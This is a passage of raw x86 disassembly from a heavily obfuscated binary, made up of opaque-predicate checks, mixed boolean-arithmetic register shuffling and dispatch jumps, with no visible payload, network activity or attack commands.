and bh, 0
mov byte [ebp - 0x6d4], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x6d5], al
mov al, byte [ebp - 0x6d4]
or al, bh
mov bh, byte [ebp - 0x6d5]
or bh, bl
xor al, bh
mov bl, dl
xor bl, 0
mov bh, ch
xor bh, bl
and bh, ch
mov bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov byte [ebp - 0x6d6], al
mov al, dl
xor al, 0
mov byte [ebp - 0x6d7], al
mov al, dh
mov byte [ebp - 0x6d8], cl
mov cl, byte [ebp - 0x6d7]
xor al, cl
and al, dh
mov cl, byte [ebp - 0x6d6]
xor cl, 0xff
mov byte [ebp - 0x6d9], al
mov al, ah
xor al, cl
and al, ah
mov cl, bh
and cl, bl
xor bh, bl
or cl, bh
mov ah, byte [ebp - 0x6d9]
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x6da], al
mov al, ah
and al, 0
mov byte [ebp - 0x6db], al
mov al, byte [ebp - 0x6d9]
and al, bh
mov byte [ebp - 0x6dc], al
mov al, bl
and al, 0
mov byte [ebp - 0x6dd], al
mov al, byte [ebp - 0x6da]
and al, bh
mov byte [ebp - 0x6de], al
mov al, byte [ebp - 0x6db]
mov byte [ebp - 0x6df], cl
mov cl, byte [ebp - 0x6dc]
or al, cl
mov cl, byte [ebp - 0x6dd]
mov byte [ebp - 0x6e0], al
mov al, byte [ebp - 0x6de]
or cl, al
mov al, byte [ebp - 0x6e0]
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, byte [ebp - 0x6df]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov bl, byte [ebp - 0x6df]
and bl, ah
mov bh, al
xor bh, 0xff
and bh, 0
and al, ah
or cl, bl
or bh, al
xor cl, bh
mov al, ch
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
and ch, bl
mov byte [ebp - 0x6e1], al
mov al, ah
and al, 0
and dh, bl
or bh, ch
or al, dh
xor bh, al
mov al, byte [ebp - 0x6e1]
or al, ah
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
or al, bh
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x6d6]
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bl, ah
and bl, 0xff
mov bh, dh
and bh, 0
mov byte [ebp - 0x6e2], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x6e3], al
mov al, byte [ebp - 0x6d6]
and al, dh
or bl, bh
mov bh, byte [ebp - 0x6e3]
or bh, al
xor bl, bh
or ah, ch
xor ah, 0xff
or dh, 1
and ah, dh
or bl, ah
mov al, byte [ebp - 0x6e2]
xor al, 0xff
xor bl, 0xff
mov ah, dl
xor ah, 1
or al, bl
or ah, 1
xor al, 0xff
and al, ah
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, ah
and bl, 0
and cl, dh
mov bh, ch
and bh, 0
and al, dh
or bl, cl
or bh, al
xor bl, bh
or ah, ch
xor ah, 0xff
or dh, 0
and ah, dh
or bl, ah
mov al, byte [ebp - 0x6d8]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x6d8]
and ah, cl
or al, ah
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bl, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or cl, bl
or ch, ah
xor cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov dh, ch
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ah
and al, 1
xor ah, 1
or al, ah
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and ch, ah
or cl, ch
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, byte [ebp - 0x6c2]
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 0
or al, ah
or ch, 0
xor al, 0xff
and al, ch
mov ah, byte [ebp - 0x6c2]
xor ah, 0xff
and ah, 1
xor dl, 1
mov ch, byte [ebp - 0x6c2]
and ch, dl
mov dh, cl
xor dh, 0xff
and dh, 0xff
and cl, dl
or ah, ch
or dh, cl
xor ah, dh
mov cl, al
and cl, ah
xor al, ah
or cl, al
test cl, 1
mov esi, dword [ebp - 0x67c]
mov edi, dword [ebp - 0x684]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xc6c42ece
mov ecx, 0x52f5934
mov dl, 1
mov esi, 0x2128048e
xor edi, edi
mov ebx, dword [ebp - 0x8c]
mov ebx, dword [ebx]
cmp dword [ebx], 0
setne dh
and dh, 1
mov byte [ebp - 0x26], dh
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x6e8], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x6ec], eax
mov eax, edi
sub eax, 0x889acb88
sub eax, 1
add eax, 0x889acb88
mov dword [ebp - 0x6f0], eax
mov eax, edi
mov dword [ebp - 0x6f4], ecx
mov ecx, dword [ebp - 0x6f0]
sub eax, ecx
mov ecx, edi
sub ecx, eax
mov eax, edi
sub eax, 0xd4f5ea54
sub eax, ebx
add eax, 0xd4f5ea54
mov dword [ebp - 0x6f8], eax
mov eax, edi
sub eax, 0xf23ab8ad
sub eax, ecx
add eax, 0xf23ab8ad
mov ecx, edi
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x6f8]
sub ecx, eax
mov eax, edi
mov dword [ebp - 0x700], ecx
mov ecx, dword [ebp - 0x6fc]
sub eax, ecx
mov ecx, dword [ebp - 0x700]
add ecx, eax
sub edi, ecx
add esi, 0
sub esi, edi
sub esi, 0x2128048e
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x6ec]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dh
xor ch, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 1
or ch, bl
or bh, 1
xor ch, 0xff
and ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x701], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
xor ah, 0xff
mov bh, dl
xor bh, 0
or al, ah
or bh, 0
xor al, 0xff
and al, bh
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, bl
and cl, al
xor bl, al
or cl, bl
mov al, ah
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
and ah, cl
or ch, ah
mov al, byte [ebp - 0x701]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x701]
and ah, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or al, ah
or bl, cl
xor al, bl
mov cl, dl
xor cl, 1
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
mov bl, ah
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or al, bl
or bh, ah
xor al, bh
xor al, 0xff
mov ah, byte [ebp - 0x701]
xor ah, al
mov al, byte [ebp - 0x701]
and ah, al
mov bl, cl
and bl, ah
xor cl, ah
or bl, cl
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
and ah, 1
or cl, ah
mov ah, dl
xor ah, 1
xor cl, 0xff
mov bh, dl
xor bh, 0
or ah, cl
or bh, 0
xor ah, 0xff
and ah, bh
mov cl, dl
xor cl, 1
and cl, 1
mov bh, dl
xor bh, 1
and bh, 1
or cl, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, ah
xor bh, 0xff
mov al, cl
xor al, 0xff
mov byte [ebp - 0x702], al
mov al, dl
xor al, 0
mov byte [ebp - 0x703], al
mov al, bh
and al, 0
mov byte [ebp - 0x704], al
mov al, byte [ebp - 0x703]
and ah, al
mov al, byte [ebp - 0x702]
and al, 0
mov byte [ebp - 0x705], al
mov al, byte [ebp - 0x703]
and cl, al
mov al, byte [ebp - 0x704]
or al, ah
mov ah, byte [ebp - 0x705]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x702]
or bh, cl
xor bh, 0xff
mov ah, byte [ebp - 0x703]
or ah, 0
and bh, ah
or al, bh
mov ah, ch
xor ah, 0xff
and ah, 0
mov bh, dl
xor bh, 0
mov cl, ch
and cl, bh
mov byte [ebp - 0x706], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
or ah, cl
or al, bh
xor ah, al
mov al, dl
xor al, 1
and al, 1
mov cl, dl
xor cl, 1
and cl, 1
or al, cl
mov cl, dl
xor cl, 0
and cl, 1
mov bh, dl
xor bh, 1
and bh, 0
or cl, bh
mov bh, ah
and bh, al
xor ah, al
or bh, ah
mov al, cl
and al, 0
xor cl, 0
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and bh, ah
mov byte [ebp - 0x707], al
mov al, dl
xor al, 1
and al, 0
and ah, 1
or cl, bh
or al, ah
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0x707]
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dh
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
and dh, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or al, dh
or bh, ah
xor al, bh
mov ah, byte [ebp - 0x706]
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0x706]
and bh, dh
mov byte [ebp - 0x708], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or ah, bh
or al, dh
xor ah, al
mov al, dl
xor al, 0
and al, 1
mov dh, dl
xor dh, 1
and dh, 0
or al, dh
mov dh, byte [ebp - 0x708]
and dh, ah
mov bh, byte [ebp - 0x708]
xor bh, ah
or dh, bh
mov ah, al
and ah, 0
xor al, 0
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and dh, bh
mov byte [ebp - 0x709], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x70a], al
mov al, byte [ebp - 0x709]
or al, dh
mov dh, byte [ebp - 0x70a]
or dh, bh
xor al, dh
xor al, 0xff
xor ah, 0xff
mov dh, dl
xor dh, 1
or al, ah
or dh, 1
xor al, 0xff
and al, dh
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
mov byte [ebp - 0x70b], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or ah, bh
or al, dh
xor ah, al
mov al, dl
xor al, 1
and al, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0x70c], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x70d], al
mov al, byte [ebp - 0x70c]
or al, bh
mov bh, byte [ebp - 0x70d]
or bh, dh
xor al, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x70e], al
mov al, bh
and al, 0
mov byte [ebp - 0x70f], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x710], al
mov al, byte [ebp - 0x70f]
or dh, al
mov al, byte [ebp - 0x710]
or al, bh
xor dh, al
mov al, ah
xor al, 0xff
mov bh, byte [ebp - 0x70e]
xor bh, 0xff
mov byte [ebp - 0x711], al
mov al, dl
xor al, 1
mov byte [ebp - 0x712], al
mov al, byte [ebp - 0x711]
and al, 0xff
mov byte [ebp - 0x713], al
mov al, byte [ebp - 0x712]
and ah, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x714], al
mov al, byte [ebp - 0x70e]
mov byte [ebp - 0x715], cl
mov cl, byte [ebp - 0x712]
and al, cl
mov cl, byte [ebp - 0x713]
or cl, ah
mov ah, byte [ebp - 0x714]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x711]
or al, bh
xor al, 0xff
mov ah, byte [ebp - 0x712]
or ah, 1
and al, ah
or cl, al
mov al, dh
and al, 0
xor dh, 0
or al, dh
mov ah, cl
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
and cl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ah, cl
or bh, dh
xor ah, bh
xor ah, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0
or ah, al
or cl, 0
xor ah, 0xff
and ah, cl
mov al, byte [ebp - 0x706]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x706]
and dh, cl
or al, dh
mov cl, byte [ebp - 0x701]
xor cl, 0xff
mov dh, al
and dh, cl
xor al, 0xff
mov cl, byte [ebp - 0x701]
and cl, al
or dh, cl
xor dh, 0xff
mov al, byte [ebp - 0x701]
xor al, 0xff
mov cl, dl
xor cl, 0
or dh, al
or cl, 0
xor dh, 0xff
and dh, cl
mov al, byte [ebp - 0x715]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0x715]
and bh, cl
or al, bh
mov cl, byte [ebp - 0x70b]
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x716], al
mov al, byte [ebp - 0x70b]
and al, bh
mov byte [ebp - 0x717], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x718], al
mov al, byte [ebp - 0x717]
or cl, al
mov al, byte [ebp - 0x718]
or al, bh
xor cl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
and bh, 1
or al, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x719], al
mov al, byte [ebp - 0x716]
xor al, bh
mov bh, byte [ebp - 0x716]
and al, bh
mov bh, byte [ebp - 0x719]
xor bh, 0xff
mov byte [ebp - 0x71a], al
mov al, byte [ebp - 0x715]
xor al, bh
mov bh, byte [ebp - 0x715]
and al, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x71b], al
mov al, cl
xor al, bh
and al, cl
mov bh, byte [ebp - 0x70b]
xor bh, 0xff
mov byte [ebp - 0x71c], al
mov al, byte [ebp - 0x719]
xor al, 0xff
mov byte [ebp - 0x71d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x71e], al
mov al, byte [ebp - 0x71d]
or bh, al
mov al, byte [ebp - 0x71e]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x71a]
xor al, 0xff
mov byte [ebp - 0x71f], al
mov al, byte [ebp - 0x71b]
xor al, 0xff
mov byte [ebp - 0x720], al
mov al, dl
xor al, 1
mov byte [ebp - 0x721], al
mov al, byte [ebp - 0x71f]
and al, 0xff
mov byte [ebp - 0x722], al
mov al, byte [ebp - 0x71a]
mov byte [ebp - 0x723], cl
mov cl, byte [ebp - 0x721]
and al, cl
mov cl, byte [ebp - 0x720]
and cl, 0xff
mov byte [ebp - 0x724], al
mov al, byte [ebp - 0x71b]
mov byte [ebp - 0x725], cl
mov cl, byte [ebp - 0x721]
and al, cl
mov cl, byte [ebp - 0x722]
mov byte [ebp - 0x726], al
mov al, byte [ebp - 0x724]
or cl, al
mov al, byte [ebp - 0x725]
mov byte [ebp - 0x727], cl
mov cl, byte [ebp - 0x726]
or al, cl
mov cl, byte [ebp - 0x727]
xor cl, al
mov al, byte [ebp - 0x71f]
mov byte [ebp - 0x728], cl
mov cl, byte [ebp - 0x720]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x721]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x728]
or cl, al
mov al, byte [ebp - 0x71c]
xor al, 0xff
mov byte [ebp - 0x729], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x72a], al
mov al, dl
xor al, 0
mov byte [ebp - 0x72b], al
mov al, byte [ebp - 0x729]
and al, 0
mov byte [ebp - 0x72c], al
mov al, byte [ebp - 0x71c]
mov byte [ebp - 0x72d], cl
mov cl, byte [ebp - 0x72b]
and al, cl
mov cl, byte [ebp - 0x72a]
and cl, 0
mov byte [ebp - 0x72e], al
mov al, byte [ebp - 0x72b]
and bh, al
mov al, byte [ebp - 0x72c]
mov byte [ebp - 0x72f], cl
mov cl, byte [ebp - 0x72e]
or al, cl
mov cl, byte [ebp - 0x72f]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x729]
mov bh, byte [ebp - 0x72a]
or cl, bh
xor cl, 0xff
mov bh, byte [ebp - 0x72b]
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x72d]
xor cl, 0xff
mov bh, al
and bh, cl
xor al, 0xff
mov cl, byte [ebp - 0x72d]
and cl, al
or bh, cl
mov al, byte [ebp - 0x716]
mov cl, byte [ebp - 0x723]
and al, cl
mov cl, byte [ebp - 0x716]
mov byte [ebp - 0x730], al
mov al, byte [ebp - 0x723]
xor cl, al
mov al, byte [ebp - 0x730]
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x731], al
mov al, dl
xor al, 1
mov byte [ebp - 0x732], al
mov al, byte [ebp - 0x731]
mov byte [ebp - 0x733], cl
mov cl, byte [ebp - 0x732]
and al, cl
mov cl, byte [ebp - 0x733]
or cl, al
mov al, dl
xor al, 1
mov byte [ebp - 0x734], al
mov al, byte [ebp - 0x719]
xor al, 0xff
mov byte [ebp - 0x735], al
mov al, dl
xor al, 1
mov byte [ebp - 0x736], al
mov al, byte [ebp - 0x734]
and al, 0xff
mov byte [ebp - 0x737], al
mov al, byte [ebp - 0x736]
and al, 1
mov byte [ebp - 0x738], al
mov al, byte [ebp - 0x735]
and al, 0xff
mov byte [ebp - 0x739], al
mov al, byte [ebp - 0x719]
mov byte [ebp - 0x73a], cl
mov cl, byte [ebp - 0x736]
and al, cl
mov cl, byte [ebp - 0x737]
mov byte [ebp - 0x73b], al
mov al, byte [ebp - 0x738]
or cl, al
mov al, byte [ebp - 0x739]
mov byte [ebp - 0x73c], cl
mov cl, byte [ebp - 0x73b]
or al, cl
mov cl, byte [ebp - 0x73c]
xor cl, al
mov al, byte [ebp - 0x734]
mov byte [ebp - 0x73d], cl
mov cl, byte [ebp - 0x735]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x736]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x73d]
or cl, al
mov al, byte [ebp - 0x73a]
xor al, 0xff
xor cl, 0xff
mov byte [ebp - 0x73e], al
mov al, dl
xor al, 0
mov byte [ebp - 0x73f], al
mov al, byte [ebp - 0x73e]
or al, cl
mov cl, byte [ebp - 0x73f]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bh
and cl, al
xor bh, al
or cl, bh
mov al, dh
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, ah
xor al, 0xff
mov byte [ebp - 0x740], al
mov al, dh
mov byte [ebp - 0x741], cl
mov cl, byte [ebp - 0x740]
and al, cl
xor dh, 0xff
and ah, dh
or al, ah
mov cl, bh
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dh, dl
xor dh, 0
mov byte [ebp - 0x742], al
mov al, cl
and al, 0
and bh, dh
mov byte [ebp - 0x743], al
mov al, ah
and al, 0
mov byte [ebp - 0x744], al
mov al, byte [ebp - 0x742]
and al, dh
mov byte [ebp - 0x745], al
mov al, byte [ebp - 0x743]
or al, bh
mov bh, byte [ebp - 0x744]
mov byte [ebp - 0x746], al
mov al, byte [ebp - 0x745]
or bh, al
mov al, byte [ebp - 0x746]
xor al, bh
or cl, ah
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, byte [ebp - 0x741]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov dh, byte [ebp - 0x741]
and dh, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, dh
or bh, ah
xor cl, bh
mov ah, al
xor ah, 0xff
xor cl, 0xff
mov dh, dl
xor dh, 0
or ah, cl
or dh, 0
xor ah, 0xff
and ah, dh
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and al, dh
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x741]
xor al, cl
mov cl, byte [ebp - 0x741]
and al, cl
mov dh, ah
and dh, al
xor ah, al
or dh, ah
mov al, ch
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov bh, dl
xor bh, 1
or al, ah
or bh, 1
xor al, 0xff
and al, bh
mov ah, ch
xor ah, 0xff
mov bh, bl
and bh, ah
xor bl, 0xff
and ch, bl
or bh, ch
mov ah, al
xor ah, 0xff
mov ch, bh
xor ch, 0xff
mov bl, dl
xor bl, 0
mov cl, ah
and cl, 0
and al, bl
mov byte [ebp - 0x747], al
mov al, ch
and al, 0
and bh, bl
mov byte [ebp - 0x748], al
mov al, byte [ebp - 0x747]
or cl, al
mov al, byte [ebp - 0x748]
or al, bh
xor cl, al
or ah, ch
xor ah, 0xff
or bl, 0
and ah, bl
or cl, ah
mov al, cl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, cl
and ch, ah
or al, ch
xor al, 0xff
xor al, 0
and al, 0
mov ah, dl
xor ah, 0
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, ah
xor ch, 0xff
mov bl, cl
xor bl, ch
and bl, cl
mov cl, dl
xor cl, 1
and cl, 0
mov ch, dl
xor ch, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0x749], al
mov al, dl
xor al, 1
and al, 0
and ch, 1
or cl, bh
or al, ch
xor cl, al
xor cl, 0xff
mov al, dl
xor al, 0
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, byte [ebp - 0x749]
and al, bl
mov ch, byte [ebp - 0x749]
xor ch, bl
or al, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
mov bl, ch
xor bl, 0xff
and bl, 0xff
and ch, ah
or cl, al
or bl, ch
xor cl, bl
mov al, dl
xor al, 1
mov ah, byte [ebp - 0x706]
xor ah, 0xff
mov ch, dl
xor ch, 0
or al, ah
or ch, 0
xor al, 0xff
and al, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, byte [ebp - 0x706]
xor bh, 0xff
and bh, 0xff
mov byte [ebp - 0x74a], al
mov al, byte [ebp - 0x706]
and al, ch
or ah, bl
or bh, al
xor ah, bh
mov al, byte [ebp - 0x74a]
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x74b], al
mov al, byte [ebp - 0x74a]
and al, bl
mov byte [ebp - 0x74c], al
mov al, ch
and al, 0
and ah, bl
mov byte [ebp - 0x74d], al
mov al, byte [ebp - 0x74c]
or bh, al
mov al, byte [ebp - 0x74d]
or al, ah
xor bh, al
mov al, byte [ebp - 0x74b]
or al, ch
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
or al, bh
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov bl, cl
and bl, ch
mov bh, al
xor bh, 0xff
and bh, 0
and al, ch
or ah, bl
or bh, al
xor ah, bh
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, dh
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dh
xor ah, 0xff
mov ch, al
and ch, ah
xor al, 0xff
and dh, al
or ch, dh
mov al, cl
xor al, 0xff
mov ah, ch
xor ah, 0xff
xor dl, 0
mov dh, al
and dh, 0
and cl, dl
mov bl, ah
and bl, 0
and ch, dl
or dh, cl
or bl, ch
xor dh, bl
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x6e8]
mov edi, dword [ebp - 0x6f4]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xdfb06e79
mov ecx, 0x59034282
mov dl, 1
xor esi, esi
mov edi, dword [ebp - 0x80]
movzx edi, word [edi]
mov ebx, dword [ebp - 0x94]
mov ebx, dword [ebx]
movzx ebx, word [ebx + 6]
cmp edi, ebx
setl dh
and dh, 1
mov byte [ebp - 0x24], dh
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x9a0], eax
mov eax, edi
add eax, 0x6a4d38ba
add eax, 0x1fc09738
sub eax, 0x6a4d38ba
mov dword [ebp - 0x9a4], eax
mov eax, esi
sub eax, 0x18ef32a4
mov dword [ebp - 0x9a8], eax
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x9ac], ecx
mov ecx, dword [ebp - 0x9a8]
sub eax, ecx
sub eax, 0xcb80464e
sub eax, 0x1fc09738
add eax, 0xcb80464e
sub esi, 0x413dc27d
add eax, esi
sub eax, 0x86a0297c
sub eax, 1
add eax, 0x86a0297c
sub eax, 0xf270a9a7
add eax, 0x413dc27d
add eax, 0xf270a9a7
sub eax, 0xf1db1a56
sub eax, 0xd0e67ded
add eax, 0xf1db1a56
sub eax, 0x6e12ced3
sub eax, 0x18ef32a4
add eax, 0x6e12ced3
sub eax, 0xc15aaec0
add eax, 0xd0e67ded
add eax, 0xc15aaec0
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
and ch, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x9ad], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ah
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x9ae], al
and al, 0
and ah, bh
mov byte [ebp - 0x9af], al
mov al, bl
and al, 0
and cl, bh
mov byte [ebp - 0x9b0], al
mov al, byte [ebp - 0x9af]
or al, ah
mov ah, byte [ebp - 0x9b0]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x9ae]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, al
or bl, ch
xor ah, bl
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, dh
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, dh
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
mov ch, cl
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, byte [ebp - 0x9ad]
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x9ad]
and bh, dh
or ch, bh
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bh, dl
xor bh, 1
or ch, dh
or bh, 1
xor ch, 0xff
and ch, bh
mov dh, byte [ebp - 0x9ad]
xor dh, 0xff
xor cl, 0xff
mov bh, dl
xor bh, 1
or dh, cl
or bh, 1
xor dh, 0xff
and dh, bh
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov dh, ah
and dh, ch
xor ah, 0xff
and cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, al
xor cl, 0xff
mov ch, dh
and ch, cl
xor dh, 0xff
and al, dh
or ch, al
mov al, ah
xor al, 0xff
mov cl, ch
xor cl, 0xff
xor dl, 0
mov dh, al
and dh, 0
and ah, dl
mov bl, cl
and bl, 0
